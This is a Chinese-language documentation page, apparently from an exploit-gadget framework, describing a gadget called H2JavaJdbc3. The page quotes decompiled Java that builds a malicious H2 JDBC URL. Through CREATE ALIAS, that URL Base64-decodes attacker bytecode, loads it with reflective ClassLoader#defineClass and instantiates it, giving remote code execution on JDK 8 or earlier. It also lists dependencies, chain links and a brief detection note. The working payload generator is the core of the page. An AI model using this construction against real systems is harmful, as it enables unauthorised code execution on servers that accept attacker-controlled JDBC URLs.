Skip to content

Latest commit

 

History

History
55 lines (41 loc) · 2.64 KB

File metadata and controls

55 lines (41 loc) · 2.64 KB

H2 JDBC URL Java加载任意字节码3(H2JavaJdbc3)

  • 类别common 别名:— 优先级:30
  • 作者:—
  • 依赖com.h2database:h2:org.h2.Driverjdk<=8
  • 实现Gadget

作用

H2 CREATE ALIAS 字节码加载的 JDK 8 变体。

链接标签

  • 入口 tagsH2JdbcUrlJdbcUrlChains
  • 衔接 nextTagsBytecodeConvertTag
  • excludes:无

源码剖析

关键构造逻辑如下,摘自本条对应的 CFR 反编译源码:

public String getObject(byte[] bytecode) {
        String b64Bytecode = Base64.encodeBase64String((byte[])bytecode);
        return "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS ABCDE AS 'String shellexec(String abc) throws java.lang.Exception{String tomcatStr=\"" + b64Bytecode + "\"\\;byte[] standBytes=new sun.misc.BASE64Decoder().decodeBuffer(tomcatStr)\\;java.lang.reflect.Method defineClassMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",standBytes.getClass(),int.class,int.class)\\;defineClassMethod.setAccessible(true)\\;java.lang.Class myclass=(java.lang.Class)defineClassMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),standBytes,0,standBytes.length)\\;myclass.newInstance()\\;return \"test\"\\;}'\\;CALL ABCDE('123')";
    }

public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        byte[] bytecode = (byte[])chain.doCreate(context);
        context.put(ContextTag.DRIVER_CLASS_NAME_KEY, this.driverClassName);
        return this.getObject(bytecode);
    }

invoke() 与 H2JavaJdbc1 一样消费内层字节码并写入 H2 driver。

getObject(byte[]) 固定创建 alias ABCDE,方法体直接使用 sun.misc.BASE64Decoder().decodeBuffer(...) 解码,再反射调用 ClassLoader#defineClass

与 H2JavaJdbc1 的主要区别是没有 java.util.Base64 回退选择,payload 较直接,但目标 JDK 要提供 sun.misc.BASE64Decoder

参数(@Param)

本类无 @Param,运行时输入来自链上下文或内层 gadget。

适用版本与原理要点

  • 注解描述:适用于jdbc rce场景,通过H2执行任意Java代码,本链实现了加载任意字节码。使用了sun.misc.BASE64Decoder,要求jdk<=8
  • 依赖条件:com.h2database:h2:org.h2.Driverjdk<=8
  • 依赖 H2 driver,且 @GadgetAnnotation 明确标注 jdk<=8
  • 可衔接下一环:BytecodeConvertTag

防御与检测

关注 CREATE ALIAS ABCDEsun.misc.BASE64DecoderdefineClass

所属预设链

自由构件,未直接出现在预设链中。

关联

  • 机器可读元数据:index/gadgets.json
  • 完整反编译源码:。